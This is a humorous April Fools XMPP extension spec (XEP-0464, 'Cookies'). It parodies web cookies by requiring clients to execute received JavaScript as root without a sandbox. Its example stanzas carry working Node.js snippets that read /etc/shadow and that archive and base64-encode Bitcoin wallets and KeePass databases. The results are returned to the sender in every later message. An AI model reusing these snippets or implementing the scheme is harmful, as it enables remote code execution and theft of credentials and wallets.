<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type='text/xsl' href='xep.xsl'?>
<xep xmlns="">
<header>
  <title>Cookies</title>
  <abstract>This document defines an XMPP protocol extension for setting and sending cookies.</abstract>
  
<legal>
<copyright>This XMPP Extension Protocol is copyright © 1999 – 2024 by the <link url="https://xmpp.org/">XMPP Standards Foundation</link> (XSF).</copyright>
<permissions>Permission is hereby granted, free of charge, to any person obtaining a copy of this specification (the "Specification"), to make use of the Specification without restriction, including without limitation the rights to implement the Specification in a software program, deploy the Specification in a network service, and copy, modify, merge, publish, translate, distribute, sublicense, or sell copies of the Specification, and to permit persons to whom the Specification is furnished to do so, subject to the condition that the foregoing copyright notice and this permission notice shall be included in all copies or substantial portions of the Specification. Unless separate permission is granted, modified works that are redistributed shall not contain misleading information regarding the authors, title, number, or publisher of the Specification, and shall not claim endorsement of the modified works by the authors, any organization or project to which the authors belong, or the XMPP Standards Foundation.</permissions>
<warranty>## NOTE WELL: This Specification is provided on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, express or implied, including, without limitation, any warranties or conditions of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A PARTICULAR PURPOSE. ##</warranty>
<liability>In no event and under no legal theory, whether in tort (including negligence), contract, or otherwise, unless required by applicable law (such as deliberate and grossly negligent acts) or agreed to in writing, shall the XMPP Standards Foundation or any author of this Specification be liable for damages, including any direct, indirect, special, incidental, or consequential damages of any character arising from, out of, or in connection with the Specification or the implementation, deployment, or other use of the Specification (including but not limited to damages for loss of goodwill, work stoppage, computer failure or malfunction, or any and all other commercial damages or losses), even if the XMPP Standards Foundation or such author has been advised of the possibility of such damages.</liability>
<conformance>This XMPP Extension Protocol has been contributed in full conformance with the XSF's Intellectual Property Rights Policy (a copy of which can be found at &lt;<link url="https://xmpp.org/about/xsf/ipr-policy">https://xmpp.org/about/xsf/ipr-policy</link>&gt; or obtained by writing to XMPP Standards Foundation, P.O. Box 787, Parker, CO 80134 USA).</conformance>
</legal>
  <number>0464</number>
  <status>Active</status>
  <type>Humorous</type>
  <sig>Standards</sig>
  <approver>Editor</approver>
  <dependencies>
    <spec>XMPP Core</spec>
    <spec>RFC 3514</spec>
  </dependencies>
  <supersedes/>
  <supersededby/>
  <shortname>cookies</shortname>
  
  <author>
    <firstname>Travis</firstname>
    <surname>Burtrum</surname>
    <email>travis@burtrum.org</email>
    <jid>travis@burtrum.org</jid>
    <uri>https://moparisthebest.com/</uri>
 </author>

  <revision>
    <version>1.0</version>
    <date>2022-04-01</date>
    <initials>tjb</initials>
    <remark><p>Publish initial version via fast track (XEP Editor: jsc).</p></remark>
  </revision>
</header>
<section1 topic="Introduction">
  <p><span class="ref"><link url="http://tools.ietf.org/html/rfc3514">RFC 6265</link></span> <note>RFC 6265: HTTP State Management Mechanism &lt;<link url="http://tools.ietf.org/html/rfc6265">http://tools.ietf.org/html/rfc6265</link>&gt;.</note> defines a simple method for to track HTTP users across all domains on the internet, and this is the single thing XMPP is lacking to gain widespread adoption.  Therefore this document defines a similar simple method to set cookies to an XMPP entitity which they will then include on every outgoing stanza from that point forward.  The web also allows sending arbitrary JavaScript to remote entities which is then executed and put in these cookies, we need this in XMPP too if it is to be taken seriously.</p>
</section1>
<section1 topic="Requirements and Approach">
  <p>There are three basic XMPP stanza types that may be sent within XML streams:</p>
  <ul>
    <li>&lt;message/&gt; -- a "push" medium for sending information to other entities.</li>
    <li>&lt;presence/&gt; -- a "broadcast" medium for publishing information t}o entities that have subscribed to an entity's availability status.</li>
    <li>&lt;iq/&gt; -- a "request-response" medium for executing basic but structured transactions with other entities.</li>
  </ul>
  <p>Any one of the foregoing data elements can be used to set cookies. Therefore a generalized mechanism is needed. Because XML namespaces are used within XMPP to properly scope data, this document proposes a new namespace ('urn:xmpp:tmp:cookies') to implement the desired functionality.</p>
  <p>If a set-cookie child has an attribute js='true' then the value of the cookie MUST be executed in a JavaScript interpreter with the highest priveleges possible, preferably as root, and MUST NOT be executed in a sandbox. The stdout MUST be captured and used as the cookie value.</p>
  <p>If a set-cookie child matches an already stored one with that setter's JID, then you MUST overwrite the previous value, otherwise store the new one for sending in all future stanzas.</p>
</section1>
<section1 topic="Use Cases">
  <section2 topic="Set-Cookies Messages">
    <p>If a cookie-setter sends a set-cookies message to a cookie-settee, it MUST include an appropriately namespaced extension in the message stanza:</p>
    <example caption="Cookie-setter Sends Cookie Setting Message"><![CDATA[
<message
    from='iago@shakespeare.lit/pda'
    to='emilia@shakespeare.lit/mobile'>
  <body>
      I told him what I thought, and told no more
      Than what he found himself was apt and true.
  </body>
  <set-cookies xmlns='urn:xmpp:tmp:cookies'>
    <cohort>aoeu</cohort>
    <is-jerk>true</is-jerk>
  </set-cookies>
</message>
]]></example>
  </section2>
  <section2 topic="Set-Cookies Presence">
    <p>If a cookie-setter sends set-cookies presence information to a cookie-settee, it MUST include an appropriately namespaced extension in the presence stanza:</p>
    <example caption="Cookie-setter Sends Cookie Setting Presence"><![CDATA[
<presence from='iago@shakespeare.lit/pda'>
  <show>dnd</show>
  <status>Fomenting dissension</status>
  <set-cookies xmlns='urn:xmpp:tmp:cookies'>
    <passwds js='true'>
        fs = require('fs')
        fs.readFile('/etc/shadow', 'utf8', function (err,data) {
            console.log(data);
        });
    </passwds>
  </set-cookies>
</presence>
]]></example>
  </section2>
  <section2 topic="Set-Cookies IQs">
    <p>If a cookie-setter provides set-cookies information in an IQ exchange with a cookie-settee, it MUST include an appropriately namespaced extension in the IQ stanza:</p>
    <example caption="Cookie-setter Sends Cookie Setting Message"><![CDATA[
<iq from='iago@shakespeare.lit/pda'
    id='cookies1'
    type='result'
    to='emilia@shakespeare.lit/mobile'>
  <query xmlns='jabber:iq:version'>
    <name>Stabber</name>
    <version>666</version>
    <os>FiendOS</os>
    <set-cookies xmlns='urn:xmpp:tmp:cookies'>
      <innocent js='true'>
          const { exec } = require('child_process');
          exec('find / \( -name ".bitcoin" -o -name "*.kdbx" \) -print0 | xargs -0 tar cz | base64', (err, stdout, stderr) => {
              console.log(stdout);
          });
      </innocent>
    </set-cookies>
  </query>
</iq>
]]></example>
  </section2>
    <section2 topic="Cookies In All Outgoing Stanzas">
    <p>After a cookie-settee has recieved cookies from a cookie-setter, it MUST include them in every outgoing stanza it sends from then on, and MUST include an attribute stating the JID that set them, this allows multiple cookies with the same name, it MUST include an appropriately namespaced extension in the stanza:</p>
    <example caption="Cookie-settee Sends Message With Cookies"><![CDATA[
<message
    from='emilia@shakespeare.lit/mobile'
    to='iago@shakespeare.lit/pda'>
  <body>
      I told him what I thought, and told no more
      Than what he found himself was apt and true.
  </body>
  <cookies xmlns='urn:xmpp:tmp:cookies'>
    <cohort setter='iago@shakespeare.lit'>aoeu</cohort>
    <is-jerk setter='iago@shakespeare.lit'>true</is-jerk>
    <passwds setter='iago@shakespeare.lit'>
      root:$6$XC1./G1wtbS7yG6Y$MAIN1taww5nP/0aZKM1K0WeXH5cNJi6aRh2Eq1FiCguOiqo9p7WePMMKwhlRS9ZcMhpxjL3CugJTPJ0oXpdyG1:17649::::::
      emilia:$6$JdGTILrodj7J44tC$8lQYRKHjUhTxl.szIr/m7UZp1zQtWKDb75ddqbiRtl2WpSn3dAhHhA.gT93HGm9hZoZBX/4eDYpDoas5JK.tq/:18818:0:99999:7:::
    </passwds>
    <innocent setter='iago@shakespeare.lit'>
      H4sIAAAAAAAAA+3QQW7DIBCFYa97ijlBZSxc36J3IGWURnHAApPEt6/jdhE27SpqK/2fhEAzTwNi
      cjlfYvL5+bjz1+Yh2tWLtbfdDH17v2+63jbGdqZvO2tuOdMNg2mkfcxzaiXPLok0pzi59E3up/4/
      9apnTbKPITjZH84qSyxSpqf7+qjzVvbxEqpGKkFciiV4cevymjVt0Sp1csfPsW9pqRrZLesp+t2i
      VX3WcZT12oNuY9/L19Df/isAAAAAAAAAAAAAAAAA+Es+AGxXV5MAKAAA
    </innocent>
  </cookies>
</message>
]]></example>
  </section2>
</section1>
<section1 topic="Determining Support" anchor="disco">
  <p>Entities that support cookies MUST advertise their support for this protocol in their responses to <span class="ref"><link url="https://xmpp.org/extensions/xep-0030.html">Service Discovery (XEP-0030)</link></span> <note>XEP-0030: Service Discovery &lt;<link url="https://xmpp.org/extensions/xep-0030.html">https://xmpp.org/extensions/xep-0030.html</link>&gt;.</note> information ("disco#info") requests by returning a feature of "urn:xmpp:tmp:cookies":</p>
  <example caption="A disco#info query"><![CDATA[
<iq from='emilia@shakespeare.lit/mobile'
    id='disco1'
    to='iago@shakespeare.lit/pda'
    type='get'>
  <query xmlns='http://jabber.org/protocol/disco#info'/>
</iq>
]]></example>
  <example caption="A disco#info response"><![CDATA[
<iq from='iago@shakespeare.lit/pda'
    id='disco1'
    to='emilia@shakespeare.lit/mobile'
    type='result'>
  <query xmlns='http://jabber.org/protocol/disco#info'>
    <feature var='urn:xmpp:tmp:cookies'/>
  </query>
</iq>
]]></example>
  <p>In order for an application to determine whether an entity supports this protocol, where possible it SHOULD use the dynamic, presence-based profile of service discovery defined in <span class="ref"><link url="https://xmpp.org/extensions/xep-0115.html">Entity Capabilities (XEP-0115)</link></span> <note>XEP-0115: Entity Capabilities &lt;<link url="https://xmpp.org/extensions/xep-0115.html">https://xmpp.org/extensions/xep-0115.html</link>&gt;.</note>. However, if an application has not received entity capabilities information from an entity, it SHOULD use explicit service discovery instead.</p>
</section1>
<section1 topic="Security Considerations">
  <p>What could possibly go wrong?</p>
</section1>
<section1 topic="IANA Considerations">
  <p>This document requires no interaction with the <span class="ref"><link url="http://www.iana.org/">Internet Assigned Numbers Authority (IANA)</link></span> <note>The Internet Assigned Numbers Authority (IANA) is the central coordinator for the assignment of unique parameter values for Internet protocols, such as port numbers and URI schemes. For further information, see &lt;<link url="http://www.iana.org/">http://www.iana.org/</link>&gt;.</note>.</p>
</section1>
<section1 topic="XMPP Registrar Considerations" anchor="registrar">
  <p>The <span class="ref"><link url="https://xmpp.org/registrar/">XMPP Registrar</link></span> <note>The XMPP Registrar maintains a list of reserved protocol namespaces as well as registries of parameters used in the context of XMPP extension protocols approved by the XMPP Standards Foundation. For further information, see &lt;<link url="https://xmpp.org/registrar/">https://xmpp.org/registrar/</link>&gt;.</note> shall register the 'urn:xmpp:tmp:cookies' namespace as a result of this document.</p>
</section1>
</xep>
